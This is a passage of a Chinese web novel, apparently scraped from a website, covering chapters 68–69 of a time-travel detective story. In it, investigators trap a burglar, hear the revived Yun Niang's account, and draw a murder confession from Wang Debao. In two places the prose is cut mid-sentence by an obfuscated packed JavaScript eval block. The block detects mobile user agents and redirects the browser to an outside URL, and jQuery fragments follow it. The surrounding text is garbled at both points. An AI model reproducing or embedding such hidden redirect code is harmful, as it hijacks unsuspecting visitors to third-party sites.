李家大宅除了他们三人以外,并无一仆一婢,平日里三人都不在家的时候,也只是大门紧锁,李士卿似乎从来不担心有贼盯上这豪宅。
后来他们将云娘这个ICU病号安置在宅子里,白天三人照例该干什么干什么。因为李士卿说云娘喝了他的符水,无需进食。并且他在云娘身上下了符纸,可以远程监测。
要放在以前,宋连是绝对不会相信的,但这个招式他们曾经使用过多次。宋连对李士卿的功力始终摸不到底。你说他厉害吧,好像也没那么神通广大,并不能如同他想象中那样呼风唤雨,把鬼鬼神神的拉出来问话;说他没什么本事吧,有总能在关键时刻蒙对答案。一次两次还能算蒙,但次次都对,就不能只一句“运气”可以说清的。
这几日情况特殊,三人分身乏术也没办法临时找信得过的人照顾一个姑娘,宋连没得选,只能相信李士卿的神奇大法。
现在李士卿说有贼人闯空门,三人第一反应都是:这是冲着云娘要灭她口的!
甲丁率先着急起来,迈腿已经准备窜出去了,被李士卿拦住:“莫慌,此人现在已被困住,云娘不会有事。”
甲丁不理解,李士卿家中根本没有任何陷阱,连个捕鼠器之类的都没有,如何能困得住一个飞檐走壁的贼?
到了院中他才知道,这人是真的被“困”住了。
只见他跟失心疯了似的,一直在绕着庭院打转,明明四周围墙努努力就能翻出去,但那人上蹿下跳始终不靠近围墙。
三人到的时候那人已经转的精疲力尽,看到三个活生生的人类出现,竟然痛哭流涕,抱住甲丁的大腿喊:“救命!救救我!这里不对劲,我遇着鬼打墙了!”
宋连和甲丁不由自主环顾庭院一圈,他俩在这院子里吃过饭,喝过酒,唱过K,丢过人……你现在说这儿鬼打墙?
但他们的确亲眼看到一个身手矫健的汉子一边哭一边绕着院子空转,跟体育课被罚跑圈的学生似的。
李士卿倒一点不奇怪,上前问那人:“你是何人,为何闯入我家?”
那人往后院云娘所在的方向瞟了一眼,又硬气起来:“爷爷人送外号檐上飘!来您宅子里寻些银钱,劫富济贫!”
宋连在内心发送了一个尴尬脸问号gif表情:ber,哥们你这台词,国产烂剧看多了吧!
68.19 法无禁止即可为,传统文化不能没!
01
接下来无论他们如何审问,那“檐上飘”就是一个字都不肯说了。
遇到这种硬茬,警察也很想报警。宋连不仅想,也确实报了,和甲丁亲自将其扭送回单位,走了审讯流程之后,由于对方拒不坦白,咬死就是来偷东西的,还未遂,没有造成人民群众财产损失,倒是自己因为被鬼打墙,精神损失看起来有些严重,最终也只能按照偷盗贼下狱关着。
不过甲丁还是从这“贼”身上的味道,判断出这是州桥酒楼的小厮,并且十分确定一定以及肯定。
州桥酒楼,不就是王德宝管辖的地方吗?难道王德宝和云娘之间还有什么秘密?!
这个疑问倒是没有困扰他们很久,因为当晚,云娘醒了。
02
“是王德宝!他要杀我灭口!”
昏迷多日的云娘,刚清醒过来还十分虚弱,短短几个字讲出来就用尽了浑身的力气,紧绷的身体又失去控制瘫软下去。
李士卿给她下了几针,平稳她的情绪,效果立竿见影,她终于能操-着虚弱的语气,平稳地把事情讲清楚。
“王德宝那个泼皮无赖!他……他骗走了我的地契!还要杀了我!”
云娘想要自立门户,花了毕生积蓄租赁了一处商铺,却被王德宝使手段钱铺两空的过程,与王德宝厚颜无耻的那番自我检讨内容大差不差,但还有一个非常重要的信息,是王德宝当时没有、也绝不可能主动说出来的。
“王德宝他杀过人!”
这是云娘无意中听到的一个消息,是否真实她也拿不准,甚至都已经记不起是从哪里听到的,“大概是在酒楼吧,那里人多嘴杂,每天都有好些个惊天内幕消息。”
简直就是一片优质瓜田,吸引了全汴京的猹。
“但现在看来,这消息一定是真的!因为下元节那天宴席前,我告诉王德宝,我知道他杀人的秘密,以此交换回我的地契和自由身。当时王德宝显然吓坏了,马上伏低要与我从长计议。”
“他假意与我谈判,称他原本打算好了,就用我盘下的这间商铺开个分店,请我管理这家分店。他愿意让八成利给我,这家店的实际掌控人还是我,他只要名义上还是王家的招牌。”
甲丁不懂做生意,想不通王德宝这么做的原因。
“要知道一家饭店的灵魂人物是大厨,他若是放我自立门户,就等于丢了州桥酒店的生意。”云娘说起自己的地位,一点不谦虚,“丢了州桥酒店,王家那老头子王彦之就会找他的麻烦,这还不算什么,到时候把家业都交给老大和老四,那才是要了王德宝的命!”
“可王德宝是什么样的人,你还不了解?他刚使了手段骗了你的地契,你怎还如此轻易又信了他?”
云娘摇头:“我当然不会这样就信他,我让他即刻签下合同来,用那地契抵押。王德宝先给了我一大盒的金银珠宝,说马上宴席就要开始,草拟合同也来不及,先用这些远超地租的东西抵押,次日再正式走流程签个契约。”
甲丁叹了口气,意思是:“姑娘糊涂!”
云娘显然听懂了这声叹息,说:“我确实财迷心窍,犯了大错!”
宴席结束后,云娘带着金银珠宝离开王宅,却在汴河边被一个凶狠的壮汉袭击!
“那疯子咿咿呀呀不知说的是什么!我原想是遇到了拦路抢劫的,可后来发现他对我抱着的东西似乎并无兴趣,而是要掳我!我奋力挣扎,抵死不从,但他气力太大,恼羞成怒,一把将我推入河中!”
云娘讲到这里,停了好久,似乎又陷入当晚那场惊心动魄的殊死搏斗中,还心有余悸。她长长吁出一口气,看着三人,说:“后来的事我就一概不知,直到刚才在这里清醒过来。”
她挣扎着想要下床感谢救命之恩,但体力不允许,被几人按回床上。
“那壮汉定是王德宝手下的人,来将我灭口!”
云娘并不知道那夜要她命的哑石,其实是王德财的人,宋连并未向她透露太多,只告诉她那个叫哑石的男人已经死了。
云娘眼中满是茫然,显然刚从昏迷中复苏的大脑还承受不了如此复杂的信息,她愣了半天,决定先跳过死掉的壮汉,回到眼前刚发生的事件中:“刚才你们所说那个闯空门的贼,是州桥酒楼的小厮,我认得!”
03
云娘已经醒来这件事,三人皆对外保密,并且李士卿又在宅子周围多做了很多“工作”,以加强安保,确保云娘的人身安全。
“虽然我总调侃你是江湖骗子,但我很尊重你的工作,也尊重你们这个行业。它存在一定有它的道理,只要不是坑蒙拐骗违法乱纪,你不用觉得自卑,更不要看不起神棍,不是,术士这个身份。法无禁止即可为!你做得很好,应该自豪!”
宋连笑得像个小发光发热的小太阳,还意味深长地拍了拍李士卿的肩膀,趁他动手驱赶之前火速撤回了手。
“加油啊小李!你要努力把这项传统文化传承下去!”
甲丁在一旁目瞪狗呆:到底是谁在看不起谁啊!
那牢狱中的小厮最终还是按照盗窃罪依法判处有期徒刑十年。放在现代社会来看,这个量刑是有点重的,毕竟他什么也么偷到,且虽然自称有名号,却似乎无既往犯罪事实。
但或许是因为他偷窃的是京城大户,于是判得格外严重。
宋连他们没有打草惊蛇,选择了默默调查王德宝。
但接下来的几天里,案子没有任何进展。
不仅仅王德宝这条线没有收获,丢失的宝贝、死去的哑石、被钓鱼的王德仕,都没有头绪。各厢坊厢军协同调查,但每条线索的尽头都是一个死胡同。
更悲伤的是,休沐假期也到了尾声。
休了个寂寞!
宋连好想仰天长叹,叹自己穿越千年还摆脱不了节假日加班,叹现在节假日加班还没有三倍工资!
那一嗓子还没嚎出去,甲丁
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16291191|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“哐当”一声闯进门来,生生把宋连噎个半死。
“你……咳咳……能不能……咳咳……敲……咳咳咳咳咳……”
宋连边咳嗽边要去拿桌上那杯茶水,结果被气喘吁吁的甲丁一把薅了过去,一饮而尽。
甲丁完全没注意到快要被自己一口气呛死的宋大人,喝完一杯不够,还在宋连绝望的注视中捞起茶壶畅饮一通,最后抬手用袖子抹了抹嘴角溢出的茶水。
“有新线索了!”
04
事情要从甲丁去妓馆说起。
自从住进了李士卿家,他就过上了斜杠青年的忙碌生活。
他虽然是开封府的一个小衙吏,但几乎没有俸禄。以前住在单位,收入够自己吃喝就行;可现在寄宿在李士卿的大宅子里,还蹭着李士卿的一日三餐,虽说每日一早一晚都充当李家金牌男保姆,但他还觉得亏欠,想着能多少交点房租意思意思,或时常补贴一点家用。
于是在不给宋连做助理的空闲时间里,他也会在外面找些临时短工做一做。比如在码头当搬运工,比如在午饭高峰期给人送外卖。
今天这单就是送去西鸡儿巷里一家妓馆的。
这不是甲丁第一次去这里送外卖,妓馆几个姐儿都认得他了,看他模样周正,总喜欢调戏他一下。
姐儿们工作时间划水摸鱼,老板,不是,老鸨也会不高兴。一边轰甲丁拿钱走人,一边骂那几个姐儿。
“有这个功夫不如去门口揽客!今儿是休沐最后一日了!”必须得抓住旺季的尾巴完成当月KPI才行!
姑娘们不情不愿地唉声叹气:“这几日忙活够呛,妈妈也不心疼一下姐儿的身子骨,中午不吃好休息好,晚上哪来儿的劲头玩花活~”
姐儿说着,捂嘴冲甲丁咯咯笑起来。
老鸨“呸”了一声,“别跟老娘来这套!你们一个两个的,都狡猾的狠!谁知道哪天傍上个大款就跑路了!”
这话一说,几个姑娘面面相觑。
老鸨像打开了骂闸,合不住了:“这小贱蹄子,偏偏找最忙的时候跑!让老娘好一通儿损失!少个脚趾头也不影响她跑路,再叫我遇着,我定打断她两条腿!让她再跑!”
那句“少个脚趾”触发了甲丁的关键词,他立刻警觉起来,问:“那跑路的姑娘,可是右脚没有小脚趾?”
那老鸨斜眼看甲丁,嘴角露出一抹嘲讽:“怎么?你跟她睡过啊?”随即又十分嫌弃地挖苦:“那贱妮子真是不挑,什么人都接!”
再转念一想,又觉得不对,这才反应过来,两步拽住甲丁衣袖:“你见过她?!”
考虑到案情保密,甲丁什么都没有透露。但他想从老鸨嘴里套话也十分困难。
最终,他还是走上了李士卿“钞能力”的路子,把今天所有的工钱掏了个干净,全数塞进了老鸨口袋。
那老鸨收了钱撇撇嘴:“她傍上了京城王家二公子王德财,跑去给人家当小妾了!”
69.20 德宝德宝,隐癖不小,演技最好
01
王德宝跪在厅堂,旁边站着王瑜。
王彦之手中拿着根鸡毛掸子,怒气太盛,呼出的气吹得鸡毛掸子四处乱颤。
“你大哥说的没错,你果真是躺着就把钱财都收进囊中了!”
起因是王彦之要变卖家财,赎小儿子出来。对账的时候就发现了问题。
这些年王彦之有意逐渐隐退,先是把物流业务交给大儿子打理,又慢慢放手了店铺管理。
自从新老两代开始交接,每年的盈利都在逐年缩水。
其中原因王彦之是知道一些的。一来,孩子们尚且年轻,还在积累经验的过程中,难免有些决策失误,交点学费是必然的;二来,人嘛,在巨大的利益面前是很难把持自己的,即便是自己家的产业也不例外。
王彦之当然知道,儿子们多少都会从中刮点油水偷偷眯了,但提交上来的财报还不算难看,那点蝇头小利似乎也是微不足道的。
没想到他这次救子心切,突然就要亲自查账,王德宝根本来不及做账,交上来的账本乱七八糟,漏洞百出。
王彦之一开始只当是王德宝懈怠了,做账不利,又急于变现,于是叫王瑜帮忙一起整理账本。
王瑜虽然只管宅邸内务,做账却是清晰明了,很快就帮王德宝码完了账目,结果就是有一半以上都是亏空!
王彦之万万没想到,自己的亲儿子竟然是个蛀虫,已经把王家的家底蛀空了!
王彦之不敢信,又去了家里几处银库盘点,越盘心越凉。
老大私开赌坊已在大牢中等待判决,老四被诬陷身上背着两条人命生死未卜,老二是家中唯一的顶梁柱,现在这大梁也要顶不住。
“天要亡我王家啊!!!”王彦之悲从中来,说着又打折了手中这根鸡毛掸子。
“阿爹莫气了,气坏了身子,家中就再无掌舵的人了呀!”王瑜抢下了秃得七零八碎的鸡毛掸子,将王彦之扶回了座位。
“阿爹,钱没了还能再赚,身子气坏了可就什么都没了。”
王瑜一边替王彦之顺气,一边冲王德宝使眼色:“快跟阿爹好好认个错!”
可王德宝跟他那大哥一样,越劝越来劲。
02
“有你什么事儿!你个女人家,懂什么!你整天只知道些柴米油盐的零碎小事,哪知道管理这数百家铺子有多难!”
王德宝摸了摸被鸡毛掸子抽出来的青印子,嘶哈嘶哈喊疼。
“是,大哥风里来雨里去,是辛苦,我就不辛苦吗?我就不需要风里来雨里去的跑铺子收账吗!结果呢,家里吃的用的,凡是最好的,都给那不成器的王德仕享受了!现在倒好,为了那个好吃懒做的,竟然要把我们辛苦维持的家业全卖了!与其这样,我私挪进自己的兜里不是更好!”
“你!”王彦之想跳起来踹他,结果竟站也站不起来了。
“二哥,别说了!”王瑜也急了,恨不能拿那秃了的掸子再给他几下。
“老爷!老爷!”家仆跑来报信:“提刑司的宋大人求见,说是要拿二公子问话……”
03
王德宝面前铺开几张签字画押的口供,都是妓馆老鸨和姐儿们的供述。
“你是妓女茵茵的恩客,据妓馆的妈妈说,半个月前,茵茵突然说你要为她赎身,纳她做妾。很快茵茵就不道而别,妈妈至今也没拿到半文赎身钱。”
宋连“哼”了一声:“恐怕这钱她是拿不到了。”
刚才还嘴硬说狠话的王德宝,此刻已经是汗流浃背。但他还在做无谓的挣扎。
“我根本不认识什么茵茵!我不知道她们为什么要这么说!一定有人指使她们串通一气陷害我!对!就是陷害!一定是那神秘的高官!他拿不到自己的宝贝,先诬陷老四杀人,现在又以同样的方式诬陷我!”
王德宝一口咬定自己是被那神秘高官陷害了,越说越有理,最后高喊着要开封府为他伸冤还他清白。
但他所有强装的底气,在看到云娘活生生出场作证的那一刻,全部荡为乌有,整个人像是被抽干了灵魂一样,轻飘飘瘫在了地上。
04
王德宝早早就娶了妻,妻子也是商人家庭,只不过家道中落,被王彦之收购了家业,连带着也收了这个儿媳回来。
王德宝对这便宜媳妇没有丝毫感情,又是破产户之女,更是看不上丁点儿。
但这“糟糠之妻”能帮他生儿育女,有了儿女他日后才能名正言顺分家业。因着这个目的,王德宝才完成任务一样与之完婚圆房。
生过孩子之后,媳妇就开始了独守空闺的丧偶式生活。
而王德宝手拿王家大把现金流,在外花天酒地不比弟弟玩得少。私吞的那些银钱,相当一部分都用来打赏美女了。
茵茵是他众多“恩泽”过的姑娘之一,原本没什么出挑,甚至不记得她的名字。直到有一次王德宝伸手扒了茵茵始终不脱的袜子,看到了右脚四根脚趾。
那回王德宝跟吃了一整盒蓝色小药片似的,尽兴了一整夜,仅仅是抱着那只右脚都能发射。
茵茵激发了王德宝自己都不曾发现的X癖。
但茵茵本人却并不清楚原委,只当是自己活好,伺候金主伺候的服帖。
王德宝的格外宠爱,让茵茵那个“嫁入豪门”的妄念有了切实的希望,可王德宝却始终停留在“玩玩而已”的阶段,并没有更进一步的表示,非但如此,他好像比从前更频繁的更换新的姑娘。
这让茵茵非常焦虑。
王德宝在一次醉酒之后,吐露了他做假账私吞家族利润的秘密,茵茵表面上装傻,还安慰王德宝“都是自家的钱,怎么能叫私吞呢!”私底下便动起了偷账本的念头。
王德宝有几次将茵茵带回家中过夜,茵茵便趁机摸到账房,随意誊抄了一本。
几天后,她
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16297460|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
便以此要挟王德宝,要他为自己赎身,纳自己为妾。
起初王德宝是愿意大事化小的。毕竟正房老婆都能打入冷宫,刚好收个小妾给正房作伴,一起享受凉凉人间。
这时王彦之接下了为高官代购的单子。他自以为保密工作做得很好,但仅从他小心翼翼的怪异举止中,大家早就猜到一二。茵茵这样精明的姑娘,稍稍使点职业技巧就打听个清楚。
她显然不知道这宝贝的买主势力有多大,只是单纯觉得达官贵人特意要代购的东西一定是高档货,值钱的很。
她也知道,嫁到王德宝家里做小妾,最终也难逃被嫌弃的命运。于是以假帐秘密威胁王德宝偷出宝贝,并承诺她只要宝贝,一旦到手,账本的事一笔勾销,她这辈子都不会缠着王德宝。
但她还是太天真了。
王德宝分得清里外利弊。相比一个微不足道的妓女,贵人的人脉关系显然更重要。况且这茵茵贪心不足蛇吞象,她一日不消失,账本的事就一日不消停。
茵茵已经完全陷入发财大梦中,王德宝只是在她的威胁下装了装恐惧、可怜,就骗得茵茵相信他会为自己偷宝贝。
王德宝不知道宝贝是什么,但听说装在一只楠木匣子里,就随便在市场买了个差不多的,在里面装了些珠宝首饰。
他骗茵茵说,这是安南某个王室的传家之宝,还编了一套“王室争宝”的故事,说的神乎其神。
谁知茵茵根本不信,说这不过都是汴京流通的普通珠宝,她在妓馆里就看到好多款差不多的。
王德宝竟敢当她是傻子,气急败坏的茵茵扬言要向王彦之抖出假帐之事,可她还没走出王宅的那条胡同,就被王德宝打死并扔进了枯井中,连同那破匣子一起——里面那些珠宝首饰当然被拿了回去。
王德宝在夜色的掩护中做了这一切,自以为神不知鬼不觉,却在下元节家宴当晚,被云娘威胁:“我知道你杀了人。”
05
“我从没想过她是在诈我……”王德宝苦笑着,“我确实对那事始终担惊受怕,就在家门口,太近了……”
心事重重的王德宝很快便得知,他的大哥王德财,在下元节那个雨夜里,也同样心事重重。
“他偷渡上岸的十几个安南女子中,有一个逃跑了。他的打手哑石向他汇报的时候,恰好被我偷听到。我当时以为老天爷都在帮我!”
精于算计的王德宝几乎在一瞬间就规划好了一个完美的计谋。
他假意与云娘商议开分店的事宜,为了放松云娘的警惕,也为了给他缓冲的时间。这边刚安抚好云娘,他立刻模仿王德财口吻给哑石递话,说那个逃跑的安南姑娘就在王宅对面的汴河边,要哑石立刻赶往拿人,并特意强调:“若抵死不从,就地解决。”
哑石得了令,立刻赶往河边。夜黑雨大,他根本分不清谁是谁。云娘拼死抵抗,恼怒中哑石“奉命”将云娘推入河中。